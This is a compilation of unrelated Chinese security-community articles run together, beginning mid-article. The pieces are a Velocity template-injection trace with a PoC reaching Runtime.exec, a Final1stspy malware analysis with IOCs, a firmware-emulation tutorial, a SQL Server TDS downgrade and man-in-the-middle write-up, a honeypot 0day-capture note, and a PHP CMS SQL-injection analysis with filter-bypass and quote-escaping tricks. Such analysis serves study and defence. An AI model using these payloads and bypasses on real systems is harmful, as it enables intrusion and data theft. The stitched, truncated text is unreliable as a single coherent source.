Velocity通过ASTReference类来表示一个变量和变量的方法调用，ASTReference类如果有子节点，就表示这个变量有方法调用，方法调用同样是通过“.”来区分的，每一个点后面会对应一个方法调用。ASTReference有两种类型的子节点，分别是ASTIdentifier和ASTMethod。它们分别代表两种类型的方法调用，其中ASTIdentifier主要表示隐式的“get”和“set”类型的方法调用。而ASTMethod表示所有其他类型的方法调用，如所有带括号的方法调用都会被解析成ASTMethod类型的节点。
所谓隐式方法调用在Velocity中通常有如下几种。
1.Set类型，如#set($person.name=”junshan”)，如下： \- person.setName(“junshan”)
* person.setname(“junshan”)
* person.put(“name”,”junshan”)
2.Get类型，如#set(person.name)中的$person.name，如下：
* person.getName()
* person.getname()
* person.get(“name”)
* person.isname()
* person.isName()
接下来我们来看ASTText节点，我们从节点图中看到ASTText没有任何子节点了，它是一个叶子结点，所以这种类型的节点要么直接输出值，要么写到writer中。
到这里我们简单介绍了下Velocity AST语法树的一些基础知识。接下来我们回归我们程序的执行逻辑。
接下来的velocity模板引擎的执行逻辑现在这里简单说明一下，其实也很简单，其实就是会不停的遍历和执行各个子节点中的render方法
首先根据Velocity AST语法树的那张图，我们看到总的根节点是ASTprocess
所以会首先调用ASTprocess的render方法，具体在哪里调用呢，我们来看代码
继续跟入
当执行到((SimpleNode)data).render(ica,writer);
这行代码是，我们可以看到此时的data就是ASTprocess节点，所以Template.merge方法中调用了AST的根节点(ASTprocess)的render方法((SimpleNode)data).render(ica,writer);。此调用将迭代处理各个子节点render方法。如果是ASTReference类型的节点则在render方法中会调用execute方法执行反射替换相关处理。
当进入到ASTprocess节点的render方法后会根据深度优先遍历算法开始遍历整棵树，遍历算法如下
即依次执行当前节点中的所有子节点的render方法，而每个节点的具体渲染规则都在其对应节点的render方法中实现。
这里我们可以打印一下我们poc所生成的语法树的详细结构
有了这个语法树结构后，程序的执行顺序就相当清晰了。
我们首先调用了ASTSetDirective类的render方法，看到该方法中首先调用了ASTExpression类value方法。
而ASTExpression类value方法中又调用了它的子节点ASTStringLiteral
节点的value方法
最后ASTStringLiteral类的value方法返回一个字面量
接着返回到ASTSetDirective类执行它的第二个子节点也就是等号左边的$x
这里对应的是ASTReference类，这里是调用了ASTReference类的setValue方法
跟入方法后可以看到，由于该ASTReference节点没有子节点了，所以
直接执行
context.put(rootString, value);这里的value就是我们刚刚获得的“=”号右边的字面量!
我们跟进去看一眼，能看得出后续就是赋值操作了，就不继续深入了
Poc第一行#set($x='')执行完毕
然后开始遍历第二个节点
第二个节点是ASTText节点，这个没什么好说的，就只是直接输出或着写到write中
然后开始遍历第三个节点
第三个节点仍然是ASTSetDirective类，它的render方法中仍然是先执行“=”号右边的子节点ASTExpression类的value方法
当执行到该方法时我们可以看到，此时的ASTExpression节点还有一个子节点，但是不是ASTStringLiteral节点了，而是ASTReference节点
所以此次执行的将会是ASTReference类的value方法
执行execute方法
我们重点看execute中的这行代码
Object result = getVariableValue(context, rootString);
这里返回的是我们给$x所赋的值“”然后程序会判断该值是否为空
如果一开始我们没有执行#set(x赋一个值的话，此时会执行下面的
EventHandlerUtil.invalidGetMethod()方法，该方法会因为$x的值为空而不会向下继续执行。
所以我们poc的第一步就需要先为一个变量赋值，赋任何值都可以。
接下来执行到下面这些代码时，就开始遍历当前ASTReference的两个子节点
执行完ASTIdentifier类的execute返回一个Class对象
接下来就是遍历第二个节点也就是ASTMethod节点，
执行ASTMethod节点的execute方法。
Execute方法中执行了method的invoke方法跟入
最调用doInvoke方法
我们看一下doInvoke方法的内容
这一路下来的反射调用到最终获取Runtime类的class对象我用更直观的方式重写了一下方便理解
这一系列的操作等同于Class.forName("java.lang.Runtime")
后面的poc的第三行
#set(rt.getRuntime().exec('open /Applications/Calculator.app/'))
执行逻辑和上面的如出一辙，就不再深入分析了，感兴趣的朋友可以自己跟踪代码分析一下。
最后放一下最终的一个调用链
* * * | 社区文章 |
### 样本分析
样本名称 | Final1stspy,Dropper
---|---
样本类型 | PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
样本大小 | 244224
MD5 | 0dd50c4a5aa9899504cb4cf95acd981e
SHA1 | 38f28bfce4d0b2b497e6cf568d08a2b6af244653
SHA256 | 2011b9aa61d280ca9397398434af94ec26ddb6ab51f5db269f1799b46cf65a76
### 线上沙箱
### 动静态分析
查看导入表,看到反调试相关的函数
程序中多次使用IsDebuggerPresent来检测程序是否被调试
或使用GetStartupInfo检测程序是否正在被调试
查看加密方式,发现样本采用base64编码和sha1哈希算法
查看样本导出表,看到只有一个main_func
进入main_func看到3个线程相关的函数
进入核心函数看到样本采用运行时加载dll的方法,绕过基于导入表的检测
##### com组件执行恶意操作
在9e0函数中继续跟进ea0函数,发现该样本使用com组件执行操作,通过CoCreateInstance创建组件
我们通过样本中的rclsid和riid参数查询出代码所运行的函数
并在注册表中进行查询
dc12a687-737f-11cf-884d-00aa004b2e24这个是调用WMI相关
之后样本通过ppv的偏移执行了对应的函数,如下执行了ConnectServer
随后调用ExecQuery执行WMI查询
##### 持久化
跳出9e0函数,跟进c30,动态调试发现该函数为解密函数
将解密得到的'rundll32'作为参数,传入1460函数,该函数使用LoadLibrary和GetProcAddress找到控制注册表的函数地址,在SOFTWARE\Microsoft\Windows\CurrentVersion\Run写入自启动时间持久化
##### 反监控
跟进18d0函数,程序中使用进程枚举,并通过与解密字串名称匹配的方法,来检测是否有特定进行
通过动态调试,发现加密的字符串解密后如下
Ollydbg.exe
idaq.exe
gmer.exe
IceSword.exe
wireshark.exe
tcpview.exe
procexp.exe
peview.exe
cff explorer.exe
若进程中发现有这些进程,则关闭该进程,并返回1,继续进入anti_debug4,直到进程中没有wireshark等监控程序的存在
##### 发送请求
首先使用解密函数将域名及表头特征信息解密,然后传入参数中进行请求发送
进入该函数,同样是运行后动态寻址
请求返回值200才正常运行,否则退出
读取信息,仅当response开头是`selfsign`的时候跳出循环
拦截dns并在本地设置监听,本机接收到病毒发来的请求
##### 进程替换技术
将response包内容读取之后,进入20a0函数,该函数同样通过LoadLibrary和GetProcAddress在运行后得到函数地址
经分析后发现该函数为进程替换函数,具体步骤为:首先创建一个正常的进程,VirtualAllocEx为恶意代码分配新的内存,WriteProcessMemory将恶意代码写入内存,SetThreadContext指向恶意代码,ResumeThread让恶意代码执行
### 关联分析
通过样本暴漏的pdb路径的搜索,搜索到相关信息
通过代码复用和特殊字段的匹配的方式,匹配到了该病毒属Final1stspy家族
对该域名关联的其他文件进行代码复用和特殊字符匹配,同样匹配到了Final1stspy家族
进而继续查找Final1stspy的信息
进而查找dogcall
### IOCS
Hash: 2011b9aa61d280ca9397398434af94ec26ddb6ab51f5db269f1799b46cf65a76
Domain: kmbr1[.]nitesbr1[.]org
Url: http[:]//kmbr1[.]nitesbr1[.]org/UserFiles/File/image/index.php
##### ATT&CK ID:
T1060 - Registry Run Keys / Startup Folder
T1047 - Windows Management Instrumentation
T1087 - Account Discovery
T1055 - Process Injection
T1085 - Rundll32
T1175 - Component Object Model and Distributed COM
T1022 - Data Encrypted
T1057 - Process Discovery | 社区文章 |
原文地址：<https://blog.attify.com/getting-started-with-firmware-emulation/>
译文来自安全客，译者：0A3D6G，译文地址：<https://www.anquanke.com/post/id/151277>
在这篇文章中，我们将演示如何模拟一个给定Iot设备的固件。
固件仿真可以用于许多不通的目的，比如提供一个更好的方法来分析固件，测试利用，完成远程调试等。基于这个技术，再没有一个物理Iot设备的情况下，你可以模拟一个不同架构的固件并进行交互。早期，完成一个固件仿真需要创建一个Qemu镜像，然后复制到固件的文件系统里，才能启动固件。现在，存在一种更简单的替代方案，在模拟固件的时候也更容易出现较少的问题，让我们一探究竟。
#### 需要的工具
AttifyOS VM 或者任何基于Linux的镜像
固件分析工具包(<https://github.com/attify/firmware-analysis-toolkit>)
需要模拟的固件(比如：[Netgear
WNAP320](http://www.downloads.netgear.com/files/GDC/WNAP320/WNAP320%20Firmware%20Version%202.0.3.zip
"Netgear WNAP320"))
#### 配置
准备好上面三个工具之后，第一步我们需要做的就是设置固件分析工具包。
固件分析工具包其实就是对[Firmadyne](https://github.com/firmadyne/firmadyne
"Firmadyne")的简单的封装，自动化了模拟新固件的过程。
下载并安装FAT，只需要跟随下面代码所示，递归的clone一个git项目就可以：
git clone --recursive https://github.com/attify/firmware-analysis-toolkit.git
接下来，我们需要安装几个单独的工具，比如：Binwalk,Firemadyne和Firmware-Mod-Kit.
#### 安装Binwalk
安装Binwalk只需要安装依赖就可以了，例如：
cd firmware-analysis-toolkit/binwalk
sudo ./deps.sh
sudo python setup.py install
如果一些顺利的话，我们就可以运行binwalk，然后看到下面的输出了：
#### 安装Firmadyne
要安装Firmadyne，需要进入Firmadyne目录，然后打开firmadyne.config，里面的内容如下：
找到
FIRMWARE_DIR=/home/vagrant/firmadyne/这一行，然后修改Fireadyne的地址为当前的全路径，我这里修改完之后是这样的：
修改完之后，下一步就可以下载Firmadyne需要的其他文件了，如果网络状态好的话，这个过程需要1-2分钟，这时候我们可以喝杯咖啡或者吸根烟了。
下载完成之后，下一步就需要安装Firmadyne剩余的依赖文件了：
sudo -H pip install git+https://github.com/ahupp/python-magic
sudo -H pip install git+https://github.com/sviehb/jefferson
sudo apt-get install qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
接下来，我们还需要安装PostgreSQL数据库，这一步直接按照官方Firmadyne wiki提供的指令就可以了：
sudo apt-get install postgresql
sudo -u postgres createuser -P firmadyne
sudo -u postgres createdb -O firmadyne firmware
sudo -u postgres psql -d firmware < ./firmadyne/database/schema
当提示数据库密码的时候，我们设置为firmadyne就可以了（为了避免后面不必要的问题）。
到这里我们已经全部安装完Firmadyne了。
#### 安装Firmadyne Analysis Tookit
首先我们需要把fat.py和reset.py移动到firmadyne目录里。
然后打开fit.py，修改root的密码（当运行这个脚本的时候就不会再需要输入密码了）和指定firmadyne的目录，例如：
到这里安装工作就完成了，请确认postgresql数据库启动并正常运行。
。。看样子我们一切顺利。
#### 模拟一个固件
现在你需要做的就是指定一个固件名称然后运行fat.py来模拟一个固件，这里我们运行的是WNAP320.zip固件。
对于Brand参数，你可以指定任意brand，这个参数仅仅是为了数据库方便的目的。
输出的内容应该像下面所示：
当我们完成了固件的初始化过程之后，会得到一个IP地址，这种情况下是固件运行了一个web服务，你可以通过SSH访问这个web接口，然后就可以完成其他基于网络的利用了。
让我们打开firefox来验证一下是否我们可以访问这个web接口。
祝贺！！！ – 我们已经成功的模拟了一个固件（最初用于MIPS Endian架构），并且得到了一个可以访问固件内部的web接口。
这就是这篇文章的全部，如果有任何问题，请联系[我们](https://www.attify.com/contact-us "我们")。
* * *
_本文经安全客授权发布，转载请联系安全客平台。_
* * * | 社区文章 |
# 不安全的TDS协议配置：一种高级的SQL Server中间人攻击方式
|
##### 译文声明
本文是翻译文章，文章原作者 Timothy Morgan，文章来源：blindspotsecurity.com
原文地址：<http://blog.blindspotsecurity.com/2017/12/advanced-sql-server-mitm-attacks.html>
译文仅供参考，具体内容表达以及含义原文为准。
> 在与Summit安全小组的成员一起进行安全研究的过程中，我们遇到了一个依赖于TDS（Tabular Data
> Stream，表格数据流）协议实现加密功能的应用程序。该协议的功能是在Microsoft SQL
> Server中实现的，用来加密在不可信网络中的通信。出于好奇，我们仔细研究了如果在服务器和客户端上修改不同的配置，是否会对该协议的安全性产生影响。最后研究表明，借助该协议通信时，客户端的通信存在着安全风险。为证明这一风险，我们开发了一个中间人（MitM）工具，该工具利用了两个不同的不安全配置来实现攻击。我们希望这篇文章能提醒大家，在使用TDS加密时，一定要进行正确的配置。
## 背景
[表格数据流（TDS）协议](https://msdn.microsoft.com/en-us/library/dd304523.aspx)被Microsoft SQL
Server广泛使用，是其客户端与数据库服务器进行交互的主要方式。多年来，该协议已经进行了多次升级，不断增加了对其他功能的支持，包括支持使用TLS作为随机加密的方式。这种随机加密的实现与[STARTTLS](https://en.wikipedia.org/wiki/StartTLS)类似。在一开始，会进行未加密的初始握手，如果双方都支持加密，则会在同一TCP连接上发生TLS握手，随后在此加密隧道上进行后续通信。然而，与其他随机加密一样，如果客户端和服务器没有经过正确配置，该协议很可能受到降级攻击以及其他中间人攻击。更严重的一个问题是，在关于这一部分的微软官方技术文档中，并没有进行清晰、正确的描述，这样一来就更容易使用户进行错误的配置。
## 攻击方式1：证书伪造
在使用TLS的过程中，我们必须关注证书的验证过程。攻击者可能首先针对TLS尝试实施中间人攻击，尝试使用一个伪造的证书欺骗TLS客户端以及服务器（如果客户端证书正在使用）。比较让人放心的是，微软对于TDS协议的使用过程是安全的，它默认会对证书进行验证，从而防止这类的攻击。只有在开发人员手动在配置中禁用了证书验证的情况下，才会存在风险。然而，为方便开发与调试，开发人员经常会选择在非生产环境中不使用证书，所以在安全评估过程中，需要特别注意，确保实际生产环境中启用了证书验证。针对这一种攻击方式，我们开发了一个工具，可以测试TDS是否启用证书验证。
我们的TDS中间人攻击脚本可以通过“–mitm_type”的选项以“证书模式”运行。这时，脚本就会自动执行经典的证书中间人攻击，即从客户端接受TLS连接，在握手完成之前，向服务器发起第二次攻击。该脚本利用了Bletchley
SSL/TLS库自动复制服务器生成的证书，并向客户端提供一个伪造的证书。
## 攻击方式2：非对称降级攻击
当TDS客户端连接到Microsoft SQL
Server时，会进行一次未加密的握手，在这次握手过程中双方会通知是否将使用加密。客户端与服务器双方，都可以进行如下声明：不支持加密（ENCRYPT_NOT_SUP）、支持加密但不希望使用（ENCRYPT_OFF）、支持加密并希望使用（ENCRYPT_ON）、强制使用加密（ENCRYPT_REQ）。其中，前三个选项充分考虑到了对低版本的兼容性，但我们从安全的角度来看，显然只有第四个选项是安全的。如果任何一方都不明确要求加密，那么攻击者可以进行中间人攻击，篡改双方握手消息中的一个值，让其中一方误认为对方不支持加密。这样一来，客户端和服务器都会认为对方不支持加密，从而就会进行不安全的通信。这个应用于TDS的经典降级攻击方式，曾经在2015年由Azhar
Desai进行过[详细说明](http://blog.thinkst.com/2015/11/stripping-encryption-from-microsoft-sql.html)。但这一问题还没有结束，我们试想，如果一方要求使用加密，另一方不要求使用加密，会发生什么？这种情况下是否还能被攻击呢？
经过验证，答案是肯定的。在服务器要求使用加密，但客户端不支持加密的情况下，非对称降级攻击非常容易进行。我们已经知道，在最早的握手数据包中，服务器将会通告ENCRYPT_REQ，试图向客户端发送“必须使用加密”的信号。同时，客户端则会通告ENCRYPT_ON或ENCRYPT_OFF。在攻击过程中，攻击者修改服务器发出的握手包，将其设置为ENCRYPT_NOT_SUP，这样一来就会使客户端在接下来的通信中禁用加密。然而，服务器并不了解这一情况，仍然在等待着接下来的TLS握手。此时，如果攻击者冒充客户端并发起TLS握手，由于服务器并不需要任何TLS客户端证书（在TDS中只有服务器证书会被验证），因此服务器无法判断出假冒的客户端，会继续与冒充客户端的攻击者进行通信。
接下来，攻击者只需要传递双方之间的通信。由于消息通过TLS通道从服务器发出，因此它们会被解密，并通过未加密的TDS连接转发给客户端。同样的，在客户端将未加密的消息发送给攻击者后，攻击者会通过TLS连接将其转发给服务器。而这些通信之中，通常会包含客户端的密码认证握手，可能会暴露数据库用户的密码Hash值，甚至是明文密码。
我们用下面的图示来总结了此次攻击的步骤。在下图中，展现的是未经篡改的握手过程，客户端希望使用加密（但不必须），服务器也要求必须使用加密：
由于客户端不强制要求加密，因此这样的通信过程容易受到攻击，其中间人攻击的示意图如下：
在使用我们的TDS中间人攻击脚本时，可以通过“–mitm_type”的选项以“降级模式”运行，脚本就会自动进行这种攻击。
但是，我们还要考虑一种情况，如果TDS客户端要求必须加密，但服务器并不必须呢，这时还有可能发生攻击吗？由于TLS只会在一个方向上被认证，因此这种情况与之前并不相同。如果客户端要求使用加密，并且正在验证该连接上的服务器证书（假设在配置中未禁用“证书验证”），那么这一连接将无法被攻击。尽管攻击者可以通过中间人的方式，欺骗服务器使用不加密的方式，但攻击者并不能使用一个无效的服务器证书去欺骗客户端。
事实证明，在使用TLS来保证安全性的TDS通信中，我们实际上只需要关注两件事：一是客户端应配置为“必须使用加密”，二是客户端应配置为“验证服务器证书”。我们意识到，在这里所谓的“兼容性”，反而给用户增加了安全上的风险。
## 官方文档的误导
在研究过程中，我们还阅读了微软提供的大量文档，但却发现，其中的许多文档误导了开发人员，使他们错误地认为一些配置是安全的，甚至还包含一些安全关键细节的错误陈述。在这里，我们详细列出这些错误，并希望微软能修改这部分内容，以避免对MSSQL用户造成误导。
（1） 在一篇已经过时的文章[《如何使用Microsoft管理控制台为SQL
Server实例启用SSL加密》](https://support.microsoft.com/en-us/help/316898/how-to-enable-ssl-encryption-for-an-instance-of-sql-server-by-using-mi)中，特别强调了如下建议：“不要同时在客户端和服务器上启用强制协议加密选项。要在服务器上启用强制协议加密，请根据SQL
Server的版本，选择使用服务器网络实用程序（Server Network Utility）或SQL
Server配置管理器。要在客户端上启用强制协议加密，请使用客户端网络实用程序（Client Network Utility）或SQL
Server配置管理器。”这段建议的内容存在一些问题，因为只有同时在客户端和服务器上进行加密，才能有效。另外，我们现在已经知道，服务器端的设置与安全无关。
（2） 在[《启用到数据库引擎的加密连接》](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/enable-encrypted-connections-to-the-database-engine)文章的“配置服务器允许加密连接”章节中，详细讲解了如何将服务器配置为强制需要加密的方法。然而，该章节的标题中“允许”这一词不太妥当，因为SQL
Server默认就是允许加密连接的，只是在默认情况下没有强制要求。 此外，这样的设置并不会额外增加通信的安全性，该文章却没有表明这一点。
（3） 在微软最近的一篇文章[《使用未经验证的加密》](https://docs.microsoft.com/en-us/sql/relational-databases/native-client/features/using-encryption-without-validation)中，存在大量误导以及表述错误，需要我们在此详细列举。
a. 首先，文章的标题本身就存在明显的问题。 在没有证书验证的情况下使用TLS，与我们使用加密的根本目的相违背。
我们强烈建议微软在文章中明确作出提醒，以突出这一事实。
b. 在这篇文章中的第一句话也存在问题：“SQL
Server总会对与登录相关的网络数据包进行加密”。其中并没有提到加密的握手是基于NTLM身份验证，而我们知道，NTLM身份验证几十年来始终存在着缺陷，从而产生中继攻击（[Relay
attacks](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)）和离线密码破解的风险。
更糟糕的是，最近有[研究](https://xpnsbraindump.wordpress.com/2014/01/27/sql-server-authentication-with-metasploit-and-mitm/)表明，密码认证握手本身就可能被降级攻击，该攻击将导致允许进行完整的明文密码检索。甚至，在Metasploit中，还有一个专门为进行这些攻击而设计的[模块](https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/server/capture/mssql.rb)。最后，即使这个密码认证握手过程是安全的，攻击者也可以在认证完成后[劫持TCP连接](https://blog.anitian.com/hacking-microsoft-sql-server-without-a-password/)，并获得与合法客户端相同的访问权限。
c. 在下一段中，有如下表述：“这也可以由SQL
Server配置管理器使用‘强制协议加密选项’进行配置。”就像前一篇文章中的错误表述一样，服务器端的设置并不会增加安全性。
d. 后文中还有：“如果要在服务器未配置证书的情况下启用加密，可以使用SQL
Server配置管理器，设置强制协议加密和信任服务器证书这两个选项。在这种情况下，如果服务器没有预先配置可验证的证书，将使用未经验证的自签名服务器证书。”其中，最后一句话非常容易产生误导。如果在客户端上设置了信任服务器证书选项，那么通信会非常容易受到证书中间人攻击，即使后面再在服务器上部署可验证的证书也一样。这样的表述，可能让用户误认为修复方式只是部署一个可验证的证书，而不需要将客户端的设置也修改正确。
e.
这篇文章提供了一个服务器和客户端设置的详细列表，并描述了在每种情况下会发生什么，能够帮助我们更深入地理解其工作机制。然而，文章中反复强调了在没有证书验证的情况下可以使用加密，并且比不使用加密要更安全，而事实却并非如此。假如拥有正确的工具，发起一次主动的中间人攻击，就像我们如今进行的被动嗅探一样容易。
我们欣慰地看到，微软还是有一些文章，针对这些设置做出了准确的说明。 在[《到SQL
Server的加密连接》](https://technet.microsoft.com/en-us/library/ms189067\(v=sql.105\).aspx)这篇文章中，给出了一个明确的提醒，其原文为：“使用自签名证书加密的SSL连接，不具有强安全性，它们容易受到中间人攻击。在生产环境或是连接到互联网的服务器上，您不应该选择使用自签名证书的SSL连接”。
这是一个非常有效的提醒信息，我认为类似的提醒应该出现在所有与可信服务器证书设置相关的文章之中。除此之外，我希望在这些文章中，还能对强制加密这部分做出提醒。
另外我们看到，Azure团队似乎做足了功课。他们向客户提供的示例中，所有客户端连接字符串都包含明确的TrustServerCertificate =
False标志（仅显式启用证书验证）以及需要加密的相应标志。
## 厂商回应
我们在2017年11月22日联系了微软安全应急响应中心（MSRC），向他们发送了这篇文章的草稿以及我们开发的中间人攻击脚本。我们建议微软对该问题进行验证，更新他们的产品，并对官方文档及相关文章做以修改。MSRC回复了我们的电子邮件，但SQL
Server产品团队目前还没有回应。
## 相关研究
SSL/TLS不对称降级的攻击方式并不是一个新的概念。在五年前，Moxie
Marlinspike曾经发布过一个[SSLTrip工具](https://moxie.org/software/sslstrip/)，使用的正是该攻击方式。同样，针对STARTTLS的降级攻击也在很早之前就实现过。然而遗憾的是，这些技术在特有的协议上的应用往往是缓慢的。在2016年初进行测试的时候，我们并没有发现有任何工具能针对TDS协议进行降级攻击，同样也没有发现证书欺骗攻击的利用工具。在我们完善这篇文章的过程中，发现了另一个工具[TDSBridge](https://github.com/MindFlavor/TDSBridge)，该工具可以作为TDS代理，并且在使用文档中称其“可以在服务器端强制加密”。尽管TSDBridge并不是一个安全工具，但我们还是有必要提到，尽管在该工具的开发过程中，没有将其视为一个安全风险，但该工具还是有助于证明我们此次的发现。
## 总结
由于客户端库无需加密，所以在默认配置下，Microsoft SQL Server数据库的通信并不安全。 因此，需要我们对服务器证书进行正确的配置。
然而，用于指导管理员如何保证通信安全性的文档，存在多个严重错误，我们强烈建议微软应对其进行修改。基于不安全的默认设置和大量误导性文档这两个事实，我们认为，绝大多数Microsoft
SQL Server的网络流量都容易受到中间人攻击，这一点需要特别引起大家的重视。 | 社区文章 |
# 论0day抓取的姿势
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**整个过程仅讲思路的实现，因笔者日常工作并不相关，从构思到实现，前前后后大概花了两个月时间，未对数据进行整理，也未列出具体的步骤，仅供研究与参考，思路如有雷同，那真是太好了**
## 0x01 概念
根据维基百科的解释，在电脑领域中， **零日漏洞** 或 **零时差漏洞** （英语：zero-day vulnerability、0-day
vulnerability）通常是指还没有补丁的安全漏洞，而 **零日攻击** 或 **零时差攻击** （英语：zero-day exploit、zero-day
attack）则是指利用这种漏洞进行的攻击。提供该漏洞细节或者利用程序的人通常是该漏洞的发现者。零日漏洞的利用程序对网络安全具有巨大威胁，因此零日漏洞不但是黑客的最爱，掌握多少零日漏洞也成为评价黑客技术水平的一个重要参数。
## 0x02 构思
目前大多数漏洞都是以Web为主，那么在HTTP中都是流量都是可见的，那么可以进行流量的入侵检测，入侵检测主要分为两个途径，第一个是网络告警，就是在内外网通信中查找攻击者入侵迹象，第二个是系统告警，就是在系统上查找攻击者存在的迹象，我们从网络层面和系统层面实现捕获0day。
一般攻击路径都是通过互联网进行，那么我们利用属于DMZ区的一台服务器上搭建一个docker漏洞环境，然后通过falco进行CONTAINER内执行命令的监控，在互联网侧通过packetbeat进行HTTP的payload的的捕获。
俗话说，工遇善其事，必先利其器，需要打造自己的捕获利器。
## 0x03 打造属于自己的开源捕获利器
找大佬要了个EXP集合工具，致远的老版本漏洞，运行一下，从流量中可以看到各个payload，那么应该可以将这些HTTP流量中的payload进行捕获，化为己用。
先尝试通过packetbeat进行HTTP的payload的捕获，先看能不能捕获到，从流量中是可以看到能够捕获到payload的，那么这个构思初步是可行的。
## 0x04 实战演练
光说不练假把式，通过[vulhub](https://github.com/vulhub/vulhub)进行环境搭建，以tomcat弱口令来进行复现，一直到拿到webshell来看整个过程是否能够捕捉到
搭建环境
tomcat弱口令上传冰蝎木马，执行操作
连接冰蝎，执行命令
从流量中我们看到冰蝎的马执行的一些命令是加密的
我们在es中也只能看到有流量
能够看到一通操作猛如虎，但是HTTP中啥也看不到
通过es语法筛选是能看到整个整个过程的，从过程中能够推断入侵手法
通过监控容器内执行命令，可以看到能够监控到在冰蝎马里面执行的ls命令，一系列操作都能监控
看着falco的标准输出有好多种，至于falco的日志可以进行标准化输出（原始输出实在是太难读了），es的也可以进行标准化的输出，找个地方存储起来就构成了自己的”威胁情报”了
## 0x05 小结
安全界大家都说”未知攻，焉知防”，通过从流量侧和系统侧实现攻击者的入侵手法，从威胁情报的角度应该说TTP更合适（手动狗头），其实整个过程更像是蜜罐思路的实现，蜜罐捕获0day应该算是一种常见的操作吧
以上
经过多次实验，对于weblogic等使用T3协议或其他非HTTP协议并不适用(主要因为packetbeat不支持)，只能从系统侧去想办法，感谢各位大佬的阅读与支持
如有疑问，欢迎交流，XzFpc3Rlbg==
## 0x06 参考资料
<https://blog.didiyun.com/index.php/2018/12/12/honeypot/>
<https://www.ichunqiu.com/open/62359>
<https://github.com/vulhub/vulhub> | 社区文章 |
先看漏洞函数： add_action
function add_action(){
[....]
if($_POST['submit']){
[....]
$_POST=$this->post_trim($_POST);
$_POST['mans'] = (int)$_POST['mans'];
$_POST = yun_iconv('utf-8','gbk',$_POST);
$_POST['status']=$this->config['com_fast_status'];
$_POST['ctime']=time();
$_POST['edate']=strtotime("+".(int)$_POST['edate']." days");
$password=md5(trim($_POST['password']));
if(is_uploaded_file($_FILES['pic']['tmp_name'])){
$upload=$this->upload_pic("../data/upload/once/",false);
$pictures=$upload->picture($_FILES['pic']);
$pic=str_replace("../data/upload/once/","data/upload/once/",$pictures);
$_POST['pic']=$pic;
}
unset($_POST['submit']);
$id=intval($_POST['id']);
if($id<1){
[....]
}else{
$arr=$TinyM->GetOncejobOne(array('id'=>$id,'password'=>$password),array('field'=>'pic,id'));
if($arr['id']){
$data['mans']=$_POST['mans'];
$data['title']=$_POST['title'];
$data['require']=$_POST['require'];
$data['companyname']=$_POST['companyname'];
$data['phone']=$_POST['phone'];
$data['linkman']=$_POST['linkman'];
$data['provinceid']=$_POST['provinceid'];
$data['cityid']=$_POST['cityid'];
$data['three_cityid']=$_POST['three_cityid'];
$data['address']=$_POST['address'];
$data['status']=$this->config['com_fast_status'];
$data['password']=$password;
$data['edate']=$_POST['edate'];
if ($_POST['pic']!=''){
$data['pic']=$_POST['pic'];
}else{
$data['pic']=$arr['pic'];
}
$nid=$TinyM->UpdateOncejob($data,array("id"=>$id));
if($this->config['com_fast_status']=="0"){
$msg="操作成功，等待审核！";
}else{
$msg="操作成功!";
}
[....]
首先在这个 cms 中，单引号传进去先转义然后被替换成了中文的，所以直接通过单引号逃逸是不现实的
在这个函数流程中，当满足有post发包并且 id >= 1的时候，他做了两件事，首先先从job_one 表中根据 id 获取数据，然后将 POST
包里的数据取出来插入数据库中进行更新，在此之前有这么个操作：
`$_POST = yun_iconv('utf-8','gbk',$_POST);`
这是为了出现乱码的情况，去转码一次
在整理 POST 包数据的时候，注意这一点
if ($_POST['pic']!=''){
$data['pic']=$_POST['pic'];
}else{
$data['pic']=$arr['pic'];
}
如果 pic 为空，那么会用数据库中的 pic 进行填充
我们先跟进 yun_iconv 里看看：
function yun_iconv($in_charset,$out_charset,$str){
if(is_array($str)){
foreach($str as $k=>$v){
$str[$k]=iconv($in_charset,$out_charset,$v);
}
return $str;
}else{
return iconv($in_charset,$out_charset,$str);
}
}
就只是处理了一下数组，没什么特别的
那现在跟进 UpdateOncejob 函数看看，他是怎么更新数据的
function UpdateOncejob($Values=array(),$Where=array()){
$WhereStr=$this->FormatWhere($Where);
$ValuesStr=$this->FormatValues($Values);
return $this->DB_update_all('once_job',$ValuesStr,$WhereStr);
}
POST 里的数据被传入了 FormatValues 函数，继续跟
function FormatValues($Values){
$ValuesStr='';
foreach($Values as $k=>$v){
if(preg_match("/^[a-zA-Z0-9_]+$/",$k)){
if(preg_match('/^[0-9]+$/', $k)){
[....]
}else{
$ValuesStr.=',`'.$k.'`=\''.$v.'\'';
}
}
}
return substr($ValuesStr,1);
}
这个函数简单来说就是 key 值不为纯数字字符串的话，就返回类似 `key` = " ' value' " 的字符串形式
而后又带入了 DB_update_all 函数里，跟进去
function DB_update_all($tablename, $value, $where = 1,$pecial=''){
if($pecial!=$tablename){
$where =$this->site_fetchsql($where,$tablename);
}
$SQL = "UPDATE `" . $this->def . $tablename . "` SET $value WHERE ".$where;
$this->db->query("set sql_mode=''");
$return=$this->db->query($SQL);
return $return;
}
直接将传入了 $value 字符串拼接进了 update 语句中
在从控制器到执行sql语句之前的流程中，他只是对 post 的值，包裹了一次单引号
因为起初有 iconv 转码所有的 POST，所以我们可不可以通过构造payload，去吃掉它加上的单引号
现在我们去看看他的过滤形式，首先，经过了 db.safety.php 文件里的过滤流程，因为流程太复杂，就不贴了，看看几处字符串替换，和正则匹配的地方
`$str = preg_replace('/([\x00-\x08\x0b-\x0c\x0e-\x19])/', '', $str);`
这里替换的都是 0开头的，也就替换到 0x19 ，高位字符一律不管
if(preg_match("/select|insert|update|delete|load_file|outfile/is", $str)){
exit(safe_pape());
}
if(preg_match("/select|insert|update|delete|load_file|outfile/is", $str2)){
exit(safe_pape());
}
这里替换了关键字，而后也有对关键字进行中文替换、拦截，特别是 360waf 里
那么首先这个漏洞触发点他是一个 UPDATE ，入库的时候可以是 16 进制字符串，那么完美绕过所有关键字拦截，但是有个问题
`"0x"=>"Ox"`
0x 被处理成了 Ox
但是随后就经过了一次 strip_tags 处理，所以这里也是可以绕过的， 0<x>x 就行了</x>
那么目前就是，能够控制插入数据库的数据了，还没有引发注入，还记得开头说的对 pic 字段的处理吗，二次注入点就在这里
现在就可以构造payload了，选择在 'three_cityid' 段利用 iconv 去吃掉执行sql前为其值加上的单引号，造成单引号逃逸
